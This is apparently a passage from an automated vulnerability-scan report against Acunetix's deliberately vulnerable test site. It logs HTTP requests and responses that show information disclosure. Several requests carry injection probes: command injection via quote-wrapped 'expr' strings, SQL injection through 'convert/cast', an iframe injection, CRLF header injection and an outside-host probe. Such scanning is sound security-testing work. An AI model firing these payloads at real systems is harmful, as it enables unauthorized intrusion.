etix.com">Contact Us</a> | &copy;2006
  Acunetix Ltd
</div>
<br>
</div>
</body>
<!-- InstanceEnd --></htm
...
```



Url: http://testphp.vulnweb.com/login.php



## Request

```
GET /login.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:07:26 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
...
"http://www.acunetix.com">About Us</a> | <a href="privacy.php">Privacy Policy</a> | <a href="mailto:wvs@acun
etix.com">Contact Us</a> | &copy;2006
  Acunetix Ltd
</div>
<br>
</div>
</body>
<!-- InstanceEnd --></htm
...
```

Url: http://testphp.vulnweb.com/search.php?test=query



## Request

```
POST /search.php?test=query HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
Content-Length: 22
Content-Type: application/x-www-form-urlencoded

searchFor=&goButton=go
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:07:26 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
...
"http://www.acunetix.com">About Us</a> | <a href="privacy.php">Privacy Policy</a> | <a href="mailto:wvs@acun
etix.com">Contact Us</a> | &copy;2006
    Acunetix Ltd
</div>
<br>
</div>
</body>
<!-- InstanceEnd --></htm
...
```

Url: http://testphp.vulnweb.com/listproducts.php?cat=1



## Request

```
GET /listproducts.php?cat=1 HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/categories.php
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:08:04 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
...
"http://www.acunetix.com">About Us</a> | <a href="privacy.php">Privacy Policy</a> | <a href="mailto:wvs@acun
etix.com">Contact Us</a> | &copy;2006
  Acunetix Ltd
</div>
<br>
</div>
</body>
<!-- InstanceEnd --></htm
...
```

# Internal IP Address Disclosure

**Url:** http://testphp.vulnweb.com/pictures/ipaddresses.txt ▲

## Request

```
GET /pictures/ipaddresses.txt HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/pictures/
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:12:37 GMT
Server: nginx/1.4.1
ETag: "4979bf3f-34"
Accept-Ranges: bytes
Content-Length: 52
Content-Type: text/plain
Last-Modified: Fri, 23 Jan 2009 12:59:43 GMT

a
sa
s
as
sasaasas 192.168.0.26 asasas

asasas
```



## Request

```
GET /secured/phpinfo.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/secured/newuser.php
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:14:34 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
...
">SERVER_NAME </td><td class="v">acuart </td></tr>
<tr><td class="e">SERVER_ADDR </td><td class="v">192.168.0.5 </td></tr>
<tr><td class="e">SERVER_PORT </td><td class="v">80 </td></tr>
<tr><td class="e">REMOTE_ADDR </td><td class="v">192.168.0.26 </td></tr>
<tr><td class="e">DOCUMENT_ROOT </td><td class="v">/var/www/acuart/ </td></tr>

<tr><td class="e">SERVER_ADMIN </td><td class="v">root@localhost.localdomain </td></tr>
<tr><td class="e">SCRIPT_FILENAME </td><td class="v">/var/www/acuart/secured/phpinfo.php </td></tr>
<tr><td class="e">REMO
...
>no value</i></td></tr>
<tr><td class="e">_SERVER["SERVER_SOFTWARE"]</td><td class="v">Apache/2.2.3 (FreeBSD) DAV/2 PHP/5.1.6 mod_ssl/2.2.3 OpenSSL/0.9.7e-p1</td></tr>

<tr><td class="e">_SERVER["SERVER_NAME"]</td><td class="v">acuart</td></tr>
<tr><td class="e">_SERVER["SERVER_ADDR"]</td><td class="v">192.168.0.5</td></tr>
<tr><td class="e">_SERVER["SERVER_PORT"]</td><td class="v">80</td></tr>
<tr><td class="e">_SERVER["REMOTE_ADDR"]</td><td class="v">192.168.0.26</td></tr>
<tr><td class="e">_SERVER["DOCUMENT_ROOT"]</td><td class="v">/var/www/acuart/</td></tr>
<
...

```

# Internal Path (Linux)

## CWE 200

**Url:** http://testphp.vulnweb.com/search.php?test=query%27%26%26expr%2015731618%20-%201233%26%26%27



## Request

```
POST /search.php?test=query%27%26%26expr%2015731618%20-%201233%26%26%27 HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/
Host: testphp.vulnweb.com
Content-Length: 22
Content-Type: application/x-www-form-urlencoded

searchFor=&goButton=go
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:08:03 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
...
v id="content">
```

Warning: mysql\_fetch\_array() expects parameter 1 to be resource, boolean given in /hj/var/www/search.php on line 61

```
<h2 id='pageName'>searched for: </h2><div class='story'><p><a href='showimage.php?file=.
```

```
...
```

Url: <http://testphp.vulnweb.com/listproducts.php?cat=testphp.vulnweb.com.beaglesec.com%2f%3f>



## Request

```
GET /listproducts.php?cat=testphp.vulnweb.com.beaglesec.com%2f%3f HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/categories.php
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: close
Date: Tue, 20 Jan 1970 07:08:22 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
...
.com/?' at line 1
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.p
hp on line 74
</div>
<!-- InstanceEndEditable -->
<!--end content -->

<div id="navBar">
  <div id="s
  ...
```

**Url:** http://testphp.vulnweb.com/artists.php?artist=(select%20convert(int%2c%20cast(0x35714C314E6A33633731306E%20as%20varchar(8000))))



## Request

```
GET /artists.php?artist=(select%20convert(int%2c%20cast(0x35714C314E6A33633731306E%20as%20varchar(8000)))) HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/artists.php
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:08:25 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

...

```
v id="content">
```

Warning: mysql\_fetch\_array() expects parameter 1 to be resource, boolean given in /hj/var/www/artists.php on line 62

```
</div>
```

```
<!-- InstanceEndEditable -->
```

```
<!--end content -->
```

```
<div id="navBar">
```

```
<div id=
```

...



Url: <http://testphp.vulnweb.com/AJAX/infoartist.php?id=testphp.vulnweb.com.beaglesec.com%2f%3f>



## Request

```
GET /AJAX/infoartist.php?id=testphp.vulnweb.com.beaglesec.com%2f%3f HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/AJAX/index.php
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:09:24 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Type: text/xml

<iteminfo>
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/AJAX/infoartist.php on line 7
</iteminfo>
```

Url: <http://testphp.vulnweb.com/userinfo.php>



## Request

```
POST /userinfo.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/login.php
Host: testphp.vulnweb.com
Content-Length: 52
Content-Type: application/x-www-form-urlencoded

uname=-1%27%3bexpr%2015731618%20-%201233%3b%27&pass=
```

## Response

```
HTTP/1.1 302 Found
Connection: close
Date: Tue, 20 Jan 1970 07:09:51 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Location: login.php
Content-Type: text/html

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/userinfo.php on line 10
you must login
```

**Url:** http://testphp.vulnweb.com/search.php?test=query%27%26%26expr%2015731618%20-%201233%26%26%27



## Request

```
GET /search.php?test=query%27%26%26expr%2015731618%20-%201233%26%26%27 HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/search.php?test=query
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:10:52 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

...

v id="content">

Warning: mysql\_fetch\_array() expects parameter 1 to be resource, boolean given in /hj/var/www/search.php on line 61

</div>

<!-- InstanceEndEditable -->

<!--end content -->

<div id="navBar">

<div id="s

...

**Url:** http://testphp.vulnweb.com/showimage.php?  
file=%3ciframe%20src%3d%2f%2finject.me%3e%3c%2fiframe%3e



## Request

```
GET /showimage.php?file=%3ciframe%20src%3d%2f%2finject.me%3e%3c%2fiframe%3e HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/search.php?test=query
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:10:56 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Type: image/jpeg

Warning: fopen(): Unable to access <iframe src=//inject.me></iframe> in /hj/var/www/showimage.php on line 7

Warning: fopen(<iframe src=//inject.me></iframe>): failed to open stream: No such file or directory in /hj/var/www/showimage.php on line 7

Warning: fpassthru() expects parameter 1 to be resource, boolean given in /hj/var/www/showimage.php on line 13
```

**Url:** http://testphp.vulnweb.com/product.php?pic=(select%20convert(int%2c%20cast(0x35714C314E6A33633731306E%20as%20varchar(8000))))



## Request

```
GET /product.php?pic=(select%20convert(int%2c%20cast(0x35714C314E6A33633731306E%20as%20varchar(8000)))) HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/search.php?test=query
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:11:01 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

...

```
v id="content">
```

```
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/product.php on line 70
```

```
</div>
```

```
<!-- InstanceEndEditable -->
```

```
<!--end content -->
```

```
<div id="navBar">
```

```
  <div id="s
```

...

**Url:** http://testphp.vulnweb.com/showimage.php?file=(select%20convert(int%2c%20cast(0x35714C314E6A33633731306E%20as%20varchar(8000))))&size=160 ▲

## Request

```
GET /showimage.php?file=(select%20convert(int%2c%20cast(0x35714C314E6A33633731306E%20as%20varchar(8000))))&size=160 HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/search.php?test=query
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:11:05 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Type: image/jpeg
```

...

(): Unable to access (select convert(int, cast(0x35714C314E6A33633731306E as varchar(8000)))) .tn in /hj/var/www/showimage.php on line 19

Warning: fopen((select convert(int, cast(0x35714C314E6A33633731306E as varchar(8000)))) .tn): failed to open stream: No such file or directory in /hj/var/www/showimage.php on line 19

Warning: fpassthru() expects parameter 1 to be resource, boolean given in /hj/var/www/showimage.php on line 25

Url: http://testphp.vulnweb.com/listproducts.php?artist=testphp.vulnweb.com.beaglesec.com%2f%3f ▲

## Request

```
GET /listproducts.php?artist=testphp.vulnweb.com.beaglesec.com%2f%3f HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/artists.php?artist=1
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:11:32 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
...
.com/?' at line 1
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.p
hp on line 74
</div>
<!-- InstanceEndEditable -->
<!--end content -->

<div id="navBar">
  <div id="s
  ...
```



## Request

```
GET /secured/phpinfo.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/secured/newuser.php
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:14:34 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
...
lass="v">root@localhost.localdomain </td></tr>
<tr><td class="e">SCRIPT_FILENAME </td><td class="v">/var/www/acuart/secured/phpinfo.php </td></tr>
<tr><td class="e">REMOTE_PORT </td><td class="v">11493 </td></tr>
<tr><td class="e">GATEWAY_INTERFACE </td><td class="v">CGI/1.1 </td></tr>
<tr><td class="e">SERVER_PROTOCOL </td><td class="v">HTTP/1.1 </td></tr>
<tr><td class="e">REQUEST_METHOD </td><td class="v">GET </td></tr>

<tr><td
...
tr>
<tr><td class="e">_SERVER["REMOTE_ADDR"]</td><td class="v">192.168.0.26</td></tr>
<tr><td class="e">_SERVER["DOCUMENT_ROOT"]</td><td class="v">/var/www/acuart/</td></tr>
<tr><td class="e">_SERVER["SERVER_ADMIN"]</td><td class="v">root@localhost.localdomain</td></tr>

<tr><td class="e">_SERVER["S
/var/www/acuart/secured/phpinfo.php</td></tr>
<tr><td class="e">_SERVER["REMOTE_PORT"]</td><td class="v">11493</td></tr>
<tr><td class=
...

```



## Request

```
GET /secured/phpinfo.php?=testphp.vulnweb.com.beaglesec.com%2f%3f HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/secured/phpinfo.php
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:15:05 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
...
lass="v">root@localhost.localdomain </td></tr>
<tr><td class="e">SCRIPT_FILENAME </td><td class="v">/var/www/acuart/secured/phpinfo.php </td></tr>
<tr><td class="e">REMOTE_PORT </td><td class="v">11493 </td></tr>
<tr><td class="e">GATEWAY_INTERFACE </td><td class="v">CGI/1.1 </td></tr>
<tr><td class="e">SERVER_PROTOCOL </td><td class="v">HTTP/1.1 </td></tr>
<tr><td class="e">REQUEST_METHOD </td><td class="v">GET </td></tr>

<tr><td
...
tr>
<tr><td class="e">_SERVER["REMOTE_ADDR"]</td><td class="v">192.168.0.26</td></tr>
<tr><td class="e">_SERVER["DOCUMENT_ROOT"]</td><td class="v">/var/www/acuart/</td></tr>
<tr><td class="e">_SERVER["SERVER_ADMIN"]</td><td class="v">root@localhost.localdomain</td></tr>

<tr><td class="e">_SERVER["S
/var/www/acuart/secured/phpinfo.php</td></tr>
<tr><td class="e">_SERVER["REMOTE_PORT"]</td><td class="v">11493</td></tr>
<tr><td class=
...

```

Url: <http://testphp.vulnweb.com/AJAX/infocateg.php?id=%0d%0abeagle%3ainjected%3dheader>



## Request

```
GET /AJAX/infocateg.php?id=%0d%0abeagle%3ainjected%3dheader HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/AJAX/index.php
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:16:17 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Type: text/xml

<iteminfo>
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/AJAX/infocate
g.php on line 7
</iteminfo>
```

Url: <http://testphp.vulnweb.com/AJAX/infotitle.php>



## Request

```
POST /AJAX/infotitle.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/AJAX/index.php
Host: testphp.vulnweb.com
Content-Length: 42
Content-Type: application/x-www-form-urlencoded

id=testphp.vulnweb.com.beaglesec.com%2f%3f
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:16:20 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Type: text/xml

<iteminfo>
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/AJAX/infotitle.php on line 7
</iteminfo>
```